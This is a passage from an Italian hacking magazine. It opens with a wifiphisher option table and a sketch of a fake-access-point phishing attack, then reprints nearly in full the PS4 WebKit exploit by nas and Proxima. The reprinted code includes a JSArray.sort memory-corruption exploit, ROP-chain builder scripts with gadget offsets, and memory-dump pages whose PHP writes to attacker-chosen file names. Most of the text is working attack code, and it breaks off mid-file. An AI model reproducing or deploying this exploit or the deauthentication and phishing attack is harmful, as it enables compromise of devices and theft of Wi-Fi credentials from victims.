svuotata e ripopolato dopo aver colpito il limite. Esempio: -m 5
-n
NOUPDA
TE
Non cancellare la lista deauth al raggiungimento del (-m) numero
massimo di client / AP combo. Deve essere utilizzato in combinazione
con -m. Esempio: -m 10 -n
-t
TimeInter
val
Scegliere l'intervallo di tempo tra i pacchetti che vengono inviati. Di
default è il più velocemente possibile. Se vedete degli errori Scapy come
'spazio di buffer' provare: -t 0,00001
-p
pacchetti
Scegliete il numero di pacchetti di inviare in ogni raffica deauth. Il
valore predefinito è 1; 1 pacchetto al client e 1 pacchetto al AP.Invia 2
pacchetti deauth al cliente e 2 pacchetti deauth alla AP: -p 2
-d
directedo
nly
Salta i pacchetti deauthenticazione l'indirizzo di broadcast dei punti di
accesso, e solo li invia al client / coppie AP
-a
accesspoi
nt
Inserire l'indirizzo MAC di un punto di accesso specifico target
jammingi
nterface
Scegliere l'interfaccia per incepparsi. Per script predefinito troverà
l'interfaccia più potente e inizia modalità monitor su di esso.
apinterfac
e
Scegliere l'interfaccia per il falso AP. Per script predefinito troverà la
seconda interfaccia più potente e inizia modalità monitor su di esso.
-ji
-ai
Proviamo a vedere un primo attacco con wifiphisher
Targhettiamo un punto di acesso
Alla vittima apparira questo
E se l'attacco avra sucesso noi otteremo questo
[by afr0]
WebKit exploit PS4
Gli sviluppatori NAS e Proxima hanno recentemento rilasciato il Vita
WebKit
exploit, che e stato reso compatibile anche con la ps4
Infatti i Developer Proxima e Nas sono riusciti nel port del Webkit exploit
che è
stato usato sulla PSVITA anche su PS4 con OFW 1.76.
Quindi ora i Developer hanno lo strumento per dumpare e analizzare il
FW di Ps4
Il loro codice di prova fornisce diversi campioni, tra cui un dumper
modulo e qualche
strumento per creare codice ROP più avanzata
Ovviamente la sony ha gia annuciato per prossima settimana l'uscita
imminente
del firmware 2.00, per questo online si consiglia di provare il webkit
exploit
prima di aggiornare la vostra console.
I file di questo Webkit Exploit sono:
-dir2bin2.py
-dump.php
-make_rop.py
-ps4.php
-ps4_dump.html
-ps4_dump2.html
-ps4_rop2.html
Ma andiamo ora ad analizzare i file 1 ad 1 incominciamo con
dir2bin2.py:
import glob, sys, time, struct
def addr_compare(x, y):
a1 = int(x.split("-")[1], 16)
a2 = int(y.split("-")[1], 16)
if(a1 == a2):
h1 = int(x.split("-")[2])
h2 = int(y.split("-")[2])
return int(h1 - h2)
if(a1-a2) > 0x10000:
return int((a1 - a2) / 0x10000)
return int(a1 - a2)
def get_addr(path):
return (path.split("-")[1])
def append_file(inpath, outpath):
f = open(inpath,"r")
newFile = open(outpath, "a+b")
size = 0;
for line in f:
tempList = line.split(',')
for item in tempList:
try:
newFile.write(struct.pack("<I", int(item.strip(), 16)))
except ValueError:
print "error in " + inpath + ": " + item
break
size+=4
f.close()
newFile.close()
return size
files = glob.glob("last_dump/*")
sfiles = sorted(files, cmp=addr_compare)
#print sfiles
stamp = time.time()
start_addr = int(get_addr(sfiles[0]), 16)
dump_name = str(stamp) + "_0x" + get_addr(sfiles[0]) + ".bin"
last_addr = start_addr
print get_addr(sfiles[0])
for fname in sfiles:
if start_addr != int(get_addr(fname), 16):
dump_name = str(stamp) + "_0x" + get_addr(fname) + ".bin"
append_file(fname, dump_name)
dump.php:
<?php
$post = file_get_contents('php://input');
$name = $_GET['name'];
$f = fopen($name,"w");
fwrite($f, $post);
fclose($f);
?>
make_rop.py:
import os
# definition of gadgets
#1.71
#gadget_arg = [ 0x00137cbd, 0x003914ca, 0x00101a72, 0x0025d803, 0x000b854d, 0x003bce7a ] #1.71
#gadget_sp = [ 0x0005fbb5 ]
#1.76
gadget_arg = [ 0x00137cbd, 0x003914ca, 0x00250df2, 0x002bec0d, 0x000b854d, 0x002bfe89]
gadget_sp = [ 0x0005fbb5 ]
gadget_rax = [ 0x0002b542 ]
gadget_store_rax = [ 0x0000db8b ]
# known functions
#1.71
function_loop = 0xB39D7 # + wk_base
function_machdep = 0x10330 # + libkernel_base
function_fopen_s = 0xF00 # + libc_int_base
#1.76
function_shellexec = 0x110F0 # + libkernel_base
function_open = 0xBA30 # + libkernel_base
# strings
#1.71
string_machdep_idps = "libkernel_base + " + str(0x22B47)
string_w = 0x77
#1.76
string_binsh = "libkernel_base + " + str(0x239A4)
# this array will store our "dynamic" rop chain
rop_chain = []
# data array
rop_data = []
def func_0(base, addr):
rop_chain.append("" + base + " + " + str(addr))
def func_1(base, addr, arg1):
rop_chain.append("wk_base + " + str(gadget_arg[0]))
rop_chain.append(str(arg1))
rop_chain.append("" + base + " + " + str(addr))
def func_2(base, addr, arg1, arg2):
rop_chain.append("wk_base + " + str(gadget_arg[1]))
rop_chain.append(str(arg2))
rop_chain.append("wk_base + " + str(gadget_arg[0]))
rop_chain.append(str(arg1))
rop_chain.append("" + base + " + " + str(addr))
def func_3(base, addr, arg1, arg2, arg3):
rop_chain.append("wk_base + " + str(gadget_arg[2]))
rop_chain.append(str(arg3))
rop_chain.append("wk_base + " + str(gadget_arg[1]))
rop_chain.append(str(arg2))
rop_chain.append("wk_base + " + str(gadget_arg[0]))
rop_chain.append(str(arg1))
rop_chain.append("" + base + " + " + str(addr))
def func_4(base, addr, arg1, arg2, arg3, arg4):
rop_chain.append("wk_base + " + str(gadget_arg[3]))
rop_chain.append(str(arg4))
rop_chain.append("wk_base + " + str(gadget_arg[2]))
rop_chain.append(str(arg3))
rop_chain.append("wk_base + " + str(gadget_arg[1]))
rop_chain.append(str(arg2))
rop_chain.append("wk_base + " + str(gadget_arg[0]))
rop_chain.append(str(arg1))
rop_chain.append("" + base + " + " + str(addr))
def func_5(base, addr, arg1, arg2, arg3, arg4, arg5):
rop_chain.append("wk_base + " + str(gadget_arg[4]))
rop_chain.append(str(arg5))
rop_chain.append("wk_base + " + str(gadget_arg[3]))
rop_chain.append(str(arg4))
rop_chain.append("wk_base + " + str(gadget_arg[2]))
rop_chain.append(str(arg3))
rop_chain.append("wk_base + " + str(gadget_arg[1]))
rop_chain.append(str(arg2))
rop_chain.append("wk_base + " + str(gadget_arg[0]))
rop_chain.append(str(arg1))
rop_chain.append("" + base + " + " + str(addr))
def func_6(base, addr, arg1, arg2, arg3, arg4, arg5, arg6):
rop_chain.append("wk_base + " + str(gadget_arg[5]))
rop_chain.append(str(arg6))
rop_chain.append("wk_base + " + str(gadget_arg[4]))
rop_chain.append(str(arg5))
rop_chain.append("wk_base + " + str(gadget_arg[3]))
rop_chain.append(str(arg4))
rop_chain.append("wk_base + " + str(gadget_arg[2]))
rop_chain.append(str(arg3))
rop_chain.append("wk_base + " + str(gadget_arg[1]))
rop_chain.append(str(arg2))
rop_chain.append("wk_base + " + str(gadget_arg[0]))
rop_chain.append(str(arg1))
rop_chain.append("" + base + " + " + str(addr))
def store_result(offset):
rop_chain.append("wk_base + " + str(gadget_arg[0]))
rop_chain.append(chain_data(offset-8))
rop_chain.append("wk_base + " + str(gadget_store_rax[0]))
def setU64var(offset, var):
rop_chain.append("wk_base + " + str(gadget_rax[0]))
rop_chain.append(var)
rop_chain.append("wk_base + " + str(gadget_arg[0]))
rop_chain.append(offset + " - 8")
rop_chain.append("wk_base + " + str(gadget_store_rax[0]))
def chain_data(offset):
return "chain_data + " + str(offset)
def store_data(offset, data):
rop_data.append(str(chain_data(offset)) + ", " + str(data))
def sp_takeover():
print "// point a return address of the stack to our chain"
print "setU64to(stack_base + return_va + 8, chain_addr);"
print "setU64to(stack_base + return_va, wk_base + " + str(gadget_sp[0]) + ");"
def sp_restore():
setU64var("return_va", "old_va")
setU64var("return_va + 8", "old_va8")
rop_chain.append("wk_base + " + str(gadget_sp[0]))
rop_chain.append("return_va")
def print_rop():
i=0
print "// store ROP chain"
for item in rop_chain:
print "setU64to(chain_addr + " + str(i) + ", " + item + ");"
i=i+8
def print_data():
i=0
print "// store data"
for item in rop_data:
print "setU64to(" + str(item) + ");"
i=i+8
# build our rop chain
# put your calls here :)
func_0("wk_base", function_loop) # hang
# output the chain
print_data()
print_rop()
sp_takeover()
ps4.php :
<html>
<body>
<script src="inc/utils.js"></script>
<script src="inc/jquery.js"></script>
<script type="text/javascript">
// global vars
var _gc, _cnt = 0;
function tryExplMac64(att)
{
try {
//
// Part 1: getting the Uint32Array object address
//
// init vars
var u32 = new Uint32Array(0x100);
var a1 = [0,1,2,3,u32];
var a2 = [0,1,2,3,4]; // right after a1
var a1len = a1.length;
var a2len = a2.length;
var u32len = u32.length;
// protect local vars from GC // for gdb
if (!_gc) _gc = new Array();
_gc.push(u32,a1,a2);
// declare custom compare function
var myCompFunc = function(x,y)
{
// check for the last call for last two array items
if (y == 3 && x == u32) {
logAdd("myCompFunc(u32,3)");
// shift() is calling during sort(), what causes the
// last array item is written outside the array buffer
a1.shift();
}
return 0;
}
// call the vulnerable method - JSArray.sort(...)
a1.sort(myCompFunc);
// check results: a2.length should be overwritten by a1[4]
var len = a2.length;
logAdd("a2.length = 0x" + len.toString(16));
if (len == a2len) { logAdd("error: 1"); return 1; }
//
// Part 2: creating corrupted JSValue which points to the (u32+0x18) address
//
// modify our compare function
myCompFunc = function(x,y)
{
if (y == 0 && x == 1) {
logAdd("myCompFunc(1,0)");
// call shift() again to read the corrupted JSValue from a2.length
// into a1[3] on the next sort loop
a1.length = a1len;
a1.shift();
// modify JSValue
a2.length = len + 0x18;
}
if (y == 3) {
logAdd("myCompFunc(x,3)");
// shift it back to access a1[3]
a1.unshift(0);
}
return 0;
}
a1.sort(myCompFunc);
// now a1[3] should contain the corrupted JSValue from a2.length (=len+0x18)
var c = a2.length;
logAdd("a2.length = 0x" + c.toString(16));
if (c != len + 0x18) { logAdd("error: 2"); a1[3] = 0; return 2; }
//
// Part 3: overwriting ((JSUint32Array)u32).m_impl pointer (see JSCTypedArrayStubs.h)
//
// generate dummy JS functions
var f, f2, f2offs, f2old, funcs = new Array(30);
c = funcs.length;
for(var i=0; i < c; i++){
f = new Function("arg", " return 876543210 + " + (_cnt++) + ";");
f.prop2 = 0x12345600 + i;
funcs[i] = f;
}
// generate JIT-code
for(var i=c-1; i >= 0; i--) { funcs[i](i); }
// prepare objects for the third sort() call
var mo = {};
var pd = { set: funcs[0], enumerable:true, configurable:true }
var a3 = [0,1,2,a1[3]];
// allocate mo's property storage right after a3's buffer
Object.defineProperty(mo, "prop0", pd);
for(var i=1; i < 5; i++){
mo["prop"+i] = i;
}
// protect from GC
_gc.push(a3,mo,funcs);
// use sort-n-shift technique again
myCompFunc = function(x,y)
{
// check for the last call for two last array items
if (y == 2) {
logAdd("myCompFunc(a3[3],2)");
// a3[3] will be written over the mo.prop0 object
a3.shift();
}
return 0;
}
// overwrite mo.prop0 by a3[3] = a1[3] = &u32+0x18
a3.sort(myCompFunc);
// u32.prop1 has 0x20 offset inside u32, and 0x08 inside mo.prop0 GetterSetter object.
// we should put some valid pointers into GetterSetter
u32.prop1 = u32; // GetterSetter.m_structure
u32.prop2 = 8;
// 8 = JSType.GetterSetterType
u32.prop1 = a1[3]; // bypass JSCell::isGetterSetter()
// clear corrupted JSValue
a1[3] = 0; a3[3] = 0;
// overwrite u32.m_impl by some JSFunction object
f = funcs[c-5];
pd.set = f;
Object.defineProperty(mo, "prop0", pd);
// check results: u32.length is taken from f's internals now
logAdd("u32.length = 0x" + u32.length.toString(16));
if (u32.length == u32len) { logAdd("error: 3"); return 3; }
//
// Part 4: getting the JIT-code memory address
//
// declare aux functions
var setU64 = function(offs, val) {
u32[offs] = val % 0x100000000;
u32[offs+1] = val / 0x100000000;
}
var getU64 = function(offs) {
return u32[offs] + u32[offs+1] * 0x100000000;
}
var getU32 = function(offs) {
return u32[offs];
}
var getObjAddr = function(obj) {
// write obj into u32 data
pd.set.prop2 = obj;
// read obj address from u32
return getU64(2);
}
// get the memory address of u32
var u32addr = getObjAddr(u32);
logAdd("u32 address = 0x" + u32addr.toString(16));
// get the memory address of u32[0] (ArrayBufferView.m_baseAddress)
var u32base = getObjAddr(pd.set) + 0x20;
var u32base0 = u32base;
logAdd("u32 base = 0x" + u32base.toString(16));
// on x64 platforms we can't just set u32.length to the huge number
// for ability to access arbitrary addresses. We should be able to
// modify the u32's buffer pointer on-the-fly.
var setBase = function(addr){
if (!f2) {
// search for another JSFunction near "f"
for(var i=0x12; i < 0x80; i+=0x10){
if ((u32[i] >>> 8) == 0x123456) {
f2 = funcs[u32[i] & 0xFF];
f2offs = i - 6;
f2old = getU64(f2offs);
break;
}
}
logAdd("f2offs = 0x" + f2offs);
if (!f2) { return false; }
}
if (pd.set != f) {
pd.set = f;
Object.defineProperty(mo, "prop0", pd);
u32base = u32base0;
}
if (addr == null) return true;
// this will be the new value for ((ArrayBufferView)u32).m_baseAddress
setU64(f2offs, addr);
// overwrite ((JSUint32Array)u32).m_impl again
pd.set = f2;
Object.defineProperty(mo, "prop0", pd);
u32base = addr;
logAdd("u32 new base = 0x" + u32base.toString(16));
return true;
}
// read/write the 64-bit value from the custom address
var getU64from = function(addr) {
if (addr < u32base || addr >= u32base + u32len*4) {
if (!setBase(addr)) return 0;
}
return getU64((addr - u32base) >>> 2);
}
var setU64to = function(addr,val) {
if (addr < u32base || addr >= u32base + u32len*4) {
if (!setBase(addr)) return 0;
}
return setU64((addr - u32base) >>> 2, val);
}
logAdd("u32 size: 0x" + u32.length.toString(16));
// Get the object table from the origianl heap address
// +0x20 is a pointer we can use for some object
var xx = getU64from(u32base0+0x20);
var yy=0;
logAdd("verify base: 0x"+xx.toString(16) );
//
// This is the only part you need to modify
//
//
//
// First, the heap array has a pointer into a function
// in WebKit2. The one I'm using is always at +0x20 from
// the original base at +0x20.
// 1.70 PS4 = -0x30bf0 is the start of webkit
// +0x25C4000 = some data
// +0x2414000 = import table
// (import table +0x20) = modules table
// If this crashes, try it 2-4 more times. It usually will work
// xx will be the base address of WebKit2
var xx = <?php print $_GET["base"];?>;
setBase(xx);
// This is where you set the block dumping size (number of u32)
//var maxsize=0x7000;
var maxsize=<?php print $_GET["chunk"];?>;
// This is where you set how many blocks you want to dump
var maxiters=<?php print $_GET["cnt"];?>;
for(var bb=0;bb<maxiters;bb++) {
var dump_data = "";
for(var aa=0;aa<(maxsize-1);aa++) {
// Manually create a string of data
dump_data += u32[(bb*maxsize)+aa].toString(16) +",";
}
dump_data+= u32[(maxsize-1)].toString(16); // Add the last one without a trailing comma
logAdd("data to string: finished");
// Currently this has to dump a seperate file per iteration
// I tried to concat them all into one file, but I was getting some weird overwriting and missing commas..
// It would be nice to get that fixed though.....
fname = "dump.php?name=dump-0x" + xx.toString(16) + "-" + bb;
$.ajax({
url : fname,
type: "POST",
data : dump_data,
success: function(data, textStatus, jqXHR)
{
logAdd("upload: success");
},
error: function (jqXHR, textStatus, errorThrown)
{
logAdd("upload fail: " + textStatus);
}
});
}
/*
// read ((JSFunction)f).m_executable;
var jitObj = getU64(4);
logAdd("JIT object = 0x" + jitObj.toString(16));
// read ExecutableBase.m_jitCodeForCall
jitObj += 0x18;
var jitAddr = getU64from(jitObj);
logAdd("JIT address = 0x" + jitAddr.toString(16));
if (!jitAddr) { logAdd("error: 4"); return 4; }
//
// Part 5: payload execution
//
// create "empty" payload for Mac x64
var payload = U8toU32(new Uint8Array([
// custom part
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
// ...
//
// payload returns 0x1234 // modify it to ensure that payload works :)
0x48,0xB8,0x34,0x12, 0x00,0x00,0x00,0x00, 0xFF,0xFF,
// mov rax, 0xFFFF000000001234
// mandatory part
0x4D,0x8B,0x6D,0xD8,
// mov r13, [r13-0x28] // webkit needs this
0xC3,
// ret
0x90
// for 4-bytes alignment
]));
// make sure that u32.length is enough
if (payload.length > u32len) { logAdd("error: u32.length is not enough for payload"); return 5; }
// choose some place in f() JIT memory for payload
var jaddr = jitAddr + 0x40;
jaddr -= jaddr % 4;
// modify ((ExecutableBase)f).m_jitCodeForCall
setU64to(jitObj, jaddr);
logAdd("payload address = 0x" + jaddr.toString(16));
var res;
// copy our payload into the f() JIT memory
if (!setBase(jaddr)) { logAdd("error: 5"); return 5; }
logAdd("JIT data:<br/>" + ArrayToU8String(u32,0,16)); // for RnD
exchangeArrays(payload, u32, 0);
try {
// call payload
res = f(0);
}catch(e){
logAdd("Error 5: " + e);
}
// restore overwritten JIT memory
exchangeArrays(payload, u32, 0);
//logAdd("JIT data:<br/>" + ArrayToU8String(u32,0,16)); // for RnD
//
// Part 6: patching corrupted memory
//
// restore m_jitCodeForCall
setU64to(jitObj, jitAddr);
// restore f2 object
if (f2old) {
setBase(null); setU64(f2offs, f2old);
}
// delete corrupted property
delete mo.prop0;
// check that payload returns 0x1234
logAdd((res == 0x1234 ? "Ok:":"Fail:") + " f() = 0x" + res.toString(16));
if (res != 0x1234) { return 9; } // error
*/
}
catch(e) {
logAdd(e);
}
return 0;
}
// "Start" button onclick handler
function btnClick()
{
try {
logAdd("======== Start ========");
// check OS version
//if (navigator.platform != "MacIntel") { logAdd("<font color=red>This works for Mac OS X only!</>"); return; }
// try several attempts to exploit
for(var i=1; i < 5; i++){
logAdd("<br/>Attempt #" + i + ":");
if (tryExplMac64(i) == 0) break;
}
logAdd("<br/>========&nbsp;End &nbsp;========<br/><br/>");
}
catch(e) {
logAdd(e);
}
_log = null;
}
// print environment info
writeEnvInfo();
</script>
<button style="width:100px;" onclick="btnClick();">Start</button>
<br/><br/>
<div id="log"></div>
</body>
</html>
ps4_dump.html :
<html>
<body>
<h2>PS4 POC</h2><h3>by nas and Proxima</h3></br>
<script src="inc/utils.js"></script>
<script src="inc/jquery.js"></script>
<script type="text/javascript">
// global vars
var _gc, _cnt = 0;
function tryExplMac64(att)
{
try {
//
// Part 1: getting the Uint32Array object address
//
// init vars
var u32 = new Uint32Array(0x100);
var a1 = [0,1,2,3,u32];
var a2 = [0,1,2,3,4]; // right after a1
var a1len = a1.length;
var a2len = a2.length;
var u32len = u32.length;
// protect local vars from GC // for gdb
if (!_gc) _gc = new Array();
_gc.push(u32,a1,a2);
// declare custom compare function
var myCompFunc = function(x,y)
{
// check for the last call for last two array items
if (y == 3 && x == u32) {
//logAdd("myCompFunc(u32,3)");
// shift() is calling during sort(), what causes the
// last array item is written outside the array buffer
a1.shift();
}
return 0;
}
// call the vulnerable method - JSArray.sort(...)
a1.sort(myCompFunc);
// check results: a2.length should be overwritten by a1[4]
var len = a2.length;
//logAdd("a2.length = 0x" + len.toString(16));
if (len == a2len) { logAdd("error: 1"); return 1; }
//
// Part 2: creating corrupted JSValue which points to the (u32+0x18) address
//
// modify our compare function
myCompFunc = function(x,y)
{
if (y == 0 && x == 1) {
//logAdd("myCompFunc(1,0)");
// call shift() again to read the corrupted JSValue from a2.length
// into a1[3] on the next sort loop
a1.length = a1len;
a1.shift();
// modify JSValue
a2.length = len + 0x18;
}
if (y == 3) {
//logAdd("myCompFunc(x,3)");
// shift it back to access a1[3]
a1.unshift(0);
}
return 0;
}
a1.sort(myCompFunc);
// now a1[3] should contain the corrupted JSValue from a2.length (=len+0x18)
var c = a2.length;
//logAdd("a2.length = 0x" + c.toString(16));
if (c != len + 0x18) { logAdd("error: 2"); a1[3] = 0; return 2; }
//
// Part 3: overwriting ((JSUint32Array)u32).m_impl pointer (see JSCTypedArrayStubs.h)
//
// generate dummy JS functions
var f, f2, f2offs, f2old, funcs = new Array(30);
c = funcs.length;
for(var i=0; i < c; i++){
f = new Function("arg", " return 876543210 + " + (_cnt++) + ";");
f.prop2 = 0x12345600 + i;
funcs[i] = f;
}
// generate JIT-code
for(var i=c-1; i >= 0; i--) { funcs[i](i); }
// prepare objects for the third sort() call
var mo = {};
var pd = { set: funcs[0], enumerable:true, configurable:true }
var a3 = [0,1,2,a1[3]];
// allocate mo's property storage right after a3's buffer
Object.defineProperty(mo, "prop0", pd);
for(var i=1; i < 5; i++){
mo["prop"+i] = i;
}
// protect from GC
_gc.push(a3,mo,funcs);
// use sort-n-shift technique again
myCompFunc = function(x,y)
{
// check for the last call for two last array items
if (y == 2) {
//logAdd("myCompFunc(a3[3],2)");
// a3[3] will be written over the mo.prop0 object
a3.shift();
}
return 0;
}
// overwrite mo.prop0 by a3[3] = a1[3] = &u32+0x18
a3.sort(myCompFunc);
// u32.prop1 has 0x20 offset inside u32, and 0x08 inside mo.prop0 GetterSetter object.
// we should put some valid pointers into GetterSetter
u32.prop1 = u32; // GetterSetter.m_structure
u32.prop2 = 8;
// 8 = JSType.GetterSetterType
u32.prop1 = a1[3]; // bypass JSCell::isGetterSetter()
// clear corrupted JSValue
a1[3] = 0; a3[3] = 0;
// overwrite u32.m_impl by some JSFunction object
f = funcs[c-5];
pd.set = f;
Object.defineProperty(mo, "prop0", pd);
// check results: u32.length is taken from f's internals now
//logAdd("u32.length = 0x" + u32.length.toString(16));
if (u32.length == u32len) { logAdd("error: 3"); return 3; }
//
// Part 4: getting the JIT-code memory address
//
// declare aux functions
var setU64 = function(offs, val) {
u32[offs] = val % 0x100000000;
u32[offs+1] = val / 0x100000000;
}
var getU64 = function(offs) {
return u32[offs] + u32[offs+1] * 0x100000000;
}
var getU32 = function(offs) {
return u32[offs];
}
var getObjAddr = function(obj) {
// write obj into u32 data
pd.set.prop2 = obj;
// read obj address from u32
return getU64(2);
}
// get the memory address of u32
var u32addr = getObjAddr(u32);
//logAdd("u32 address = 0x" + u32addr.toString(16));
// get the memory address of u32[0] (ArrayBufferView.m_baseAddress)
var u32base = getObjAddr(pd.set) + 0x20;
var u32base0 = u32base;
//logAdd("u32 base = 0x" + u32base.toString(16));
// on x64 platforms we can't just set u32.length to the huge number
// for ability to access arbitrary addresses. We should be able to
// modify the u32's buffer pointer on-the-fly.
var setBase = function(addr){
if (!f2) {
// search for another JSFunction near "f"
for(var i=0x12; i < 0x80; i+=0x10){
if ((u32[i] >>> 8) == 0x123456) {
f2 = funcs[u32[i] & 0xFF];
f2offs = i - 6;
f2old = getU64(f2offs);
break;
}
}
if (!f2) { return false; }
}
if (pd.set != f) {
pd.set = f;
Object.defineProperty(mo, "prop0", pd);
u32base = u32base0;
}
if (addr == null) return true;
// this will be the new value for ((ArrayBufferView)u32).m_baseAddress
setU64(f2offs, addr);
// overwrite ((JSUint32Array)u32).m_impl again
pd.set = f2;
Object.defineProperty(mo, "prop0", pd);
u32base = addr;
//logAdd("u32 new base = 0x" + u32base.toString(16));
return true;
}
// read/write the 64-bit value from the custom address
var getU64from = function(addr) {
if (addr < u32base || addr >= u32base + u32len*4) {
if (!setBase(addr)) return 0;
}
return getU64((addr - u32base) >>> 2);
}
var setU64to = function(addr,val) {
if (addr < u32base || addr >= u32base + u32len*4) {
if (!setBase(addr)) return 0;
}
return setU64((addr - u32base) >>> 2, val);
}
//logAdd("u32 size: 0x" + u32.length.toString(16));
// Get the object table from the origianl heap address
// +0x20 is a pointer we can use for some object
var xx = getU64from(u32base0+0x20);
var yy=0;
//logAdd("verify base: 0x"+xx.toString(16) );
//
// This is the only part you need to modify
//
//
//
// First, the heap array has a pointer into a function
// in WebKit2. The one I'm using is always at +0x20 from
// the original base at +0x20.
// 1.70 PS4 = -0x30bf0 is the start of webkit
// +0x25C4000 = some data
// +0x2414000 = import table
// (import table +0x20) = modules table
// If this crashes, try it 2-4 more times. It usually will work
// xx will be the base address of WebKit2
xx = (getU64from(xx+0x20)-0x30bf0);
logAdd("WebKit2 base address = 0x" + xx.toString(16));
xx += 0x2414000; // Get to the import table
setBase(xx);
xx = getU64from(xx+0x20); // Get to the module table
// Future use: data area somewhere around 0x200500000
setBase(xx);
//get libkernel base
//xx = getU64from(xx+0xdd8);
//get webprocess base
//xx = getU64from(xx+0xc18);
//get libcinternal base
//xx = getU64from(xx+0xf98);
//get libsysmodule base
//xx = getU64from(xx+0x1158);
//get libSysCore base
//xx = getU64from(xx+0x2658);
//get libSystemService base
//xx = getU64from(xx+0x2b98);
var i_size = 0x1188;
var c_base = getU64from(xx+i_size+0x158);
var d_base = getU64from(xx+i_size+0x168);
var r_base;
var chunk;
var cnt;
var tmp;
var m_cnt = 0;
var c_size = getU64from(xx+i_size+0x160) & 0xFFFFFFFF;
var d_size = getU64from(xx+i_size+0x170) & 0xFFFFFFFF;
var m_info;
var gap;
while(((c_base != 0) || (d_base != 0)) && (m_cnt < 11))
{
if(c_base > d_base)
{
r_base = d_base;
}else{
r_base = c_base;
}
tmp = ((c_size + d_size) / 4) >> 0;
if(tmp > 0x1000){
cnt = ((tmp / 0x1000) >> 0);
chunk = (tmp / cnt) >> 0;
}else{
cnt = 1;
chunk = tmp;
}
if(d_base != 0)
gap = d_base - (c_base + c_size);
else
gap = 0;
m_info = "0x" + c_base.toString(16) + "+0x" + c_size.toString(16) + ", 0x" + d_base.toString(16) + "+0x" +
d_size.toString(16) + " gap: 0x" + gap.toString(16);
logAdd("<h2><a href='ps4.php?base=0x" + r_base.toString(16) + "&chunk=0x" + chunk.toString(16) +
"&cnt=0x" + cnt.toString(16) + "'>module " + m_cnt.toString(10) + "</a></h2><h3>" + m_info + "</h3>");
i_size += 0x1c0;
c_base = getU64from(xx+i_size+0x158);
d_base = getU64from(xx+i_size+0x168);
c_size = getU64from(xx+i_size+0x160) & 0xFFFFFFFF;
d_size = getU64from(xx+i_size+0x170) & 0xFFFFFFFF;
m_cnt++;
}
// restore f2 object
if (f2old) {
setBase(null); setU64(f2offs, f2old);
}
// delete corrupted property
delete mo.prop0;
}
catch(e) {
logAdd(e);
}
return 0;
}
// "Start" button onclick handler
function btnClick()
{
try {
logAdd("======== Start ========");
// check OS version
//if (navigator.platform != "MacIntel") { logAdd("<font color=red>This works for Mac OS X only!</>"); return; }
// try several attempts to exploit
for(var i=1; i < 5; i++){
logAdd("<br/>Attempt #" + i + ":");
if (tryExplMac64(i) == 0) break;
}
logAdd("<br/>========&nbsp;End &nbsp;========<br/><br/>");
}
catch(e) {
logAdd(e);
}
_log = null;
}
// print environment info
writeEnvInfo();
</script>
<button style="width:100px;" onclick="btnClick();">Start</button>
<br/><br/>
<div id="log"></div><br>
<a href="ps4_dump2.html">next</a>
</body>
</html>
ps4_dump2.html:
<html>
<body>
<h2>PS4 POC</h2><h3>by nas and Proxima</h3></br>
<script src="inc/utils.js"></script>
<script src="inc/jquery.js"></script>
<script type="text/javascript">
// global vars
var _gc, _cnt = 0;
function tryExplMac64(att)
{
try {
//
// Part 1: getting the Uint32Array object address
//
// init vars
var u32 = new Uint32Array(0x100);
var a1 = [0,1,2,3,u32];
var a2 = [0,1,2,3,4]; // right after a1
var a1len = a1.length;
var a2len = a2.length;
var u32len = u32.length;
// protect local vars from GC // for gdb
if (!_gc) _gc = new Array();
_gc.push(u32,a1,a2);
// declare custom compare function
var myCompFunc = function(x,y)
{
// check for the last call for last two array items
if (y == 3 && x == u32) {
//logAdd("myCompFunc(u32,3)");
// shift() is calling during sort(), what causes the
// last array item is written outside the array buffer
a1.shift();
}
return 0;
}
// call the vulnerable method - JSArray.sort(...)
a1.sort(myCompFunc);
// check results: a2.length should be overwritten by a1[4]
var len = a2.length;
//logAdd("a2.length = 0x" + len.toString(16));
if (len == a2len) { logAdd("error: 1"); return 1; }
//
// Part 2: creating corrupted JSValue which points to the (u32+0x18) address
//
// modify our compare function
myCompFunc = function(x,y)
{
if (y == 0 && x == 1) {
//logAdd("myCompFunc(1,0)");
// call shift() again to read the corrupted JSValue from a2.length
// into a1[3] on the next sort loop
a1.length = a1len;
a1.shift();
// modify JSValue
a2.length = len + 0x18;
}
if (y == 3) {
//logAdd("myCompFunc(x,3)");
// shift it back to access a1[3]
a1.unshift(0);
}
return 0;
}
a1.sort(myCompFunc);
// now a1[3] should contain the corrupted JSValue from a2.length (=len+0x18)
var c = a2.length;
//logAdd("a2.length = 0x" + c.toString(16));
if (c != len + 0x18) { logAdd("error: 2"); a1[3] = 0; return 2; }
//
// Part 3: overwriting ((JSUint32Array)u32).m_impl pointer (see JSCTypedArrayStubs.h)
//
// generate dummy JS functions
var f, f2, f2offs, f2old, funcs = new Array(30);
c = funcs.length;
for(var i=0; i < c; i++){
f = new Function("arg", " return 876543210 + " + (_cnt++) + ";");
f.prop2 = 0x12345600 + i;
funcs[i] = f;
}
// generate JIT-code
for(var i=c-1; i >= 0; i--) { funcs[i](i); }
// prepare objects for the third sort() call
var mo = {};
var pd = { set: funcs[0], enumerable:true, configurable:true }
var a3 = [0,1,2,a1[3]];
// allocate mo's property storage right after a3's buffer
Object.defineProperty(mo, "prop0", pd);
for(var i=1; i < 5; i++){
mo["prop"+i] = i;
}
// protect from GC
_gc.push(a3,mo,funcs);
// use sort-n-shift technique again
myCompFunc = function(x,y)
{
// check for the last call for two last array items
if (y == 2) {
//logAdd("myCompFunc(a3[3],2)");
// a3[3] will be written over the mo.prop0 object
a3.shift();
}
return 0;
}
// overwrite mo.prop0 by a3[3] = a1[3] = &u32+0x18
a3.sort(myCompFunc);
// u32.prop1 has 0x20 offset inside u32, and 0x08 inside mo.prop0 GetterSetter object.
// we should put some valid pointers into GetterSetter
u32.prop1 = u32; // GetterSetter.m_structure
u32.prop2 = 8;
// 8 = JSType.GetterSetterType
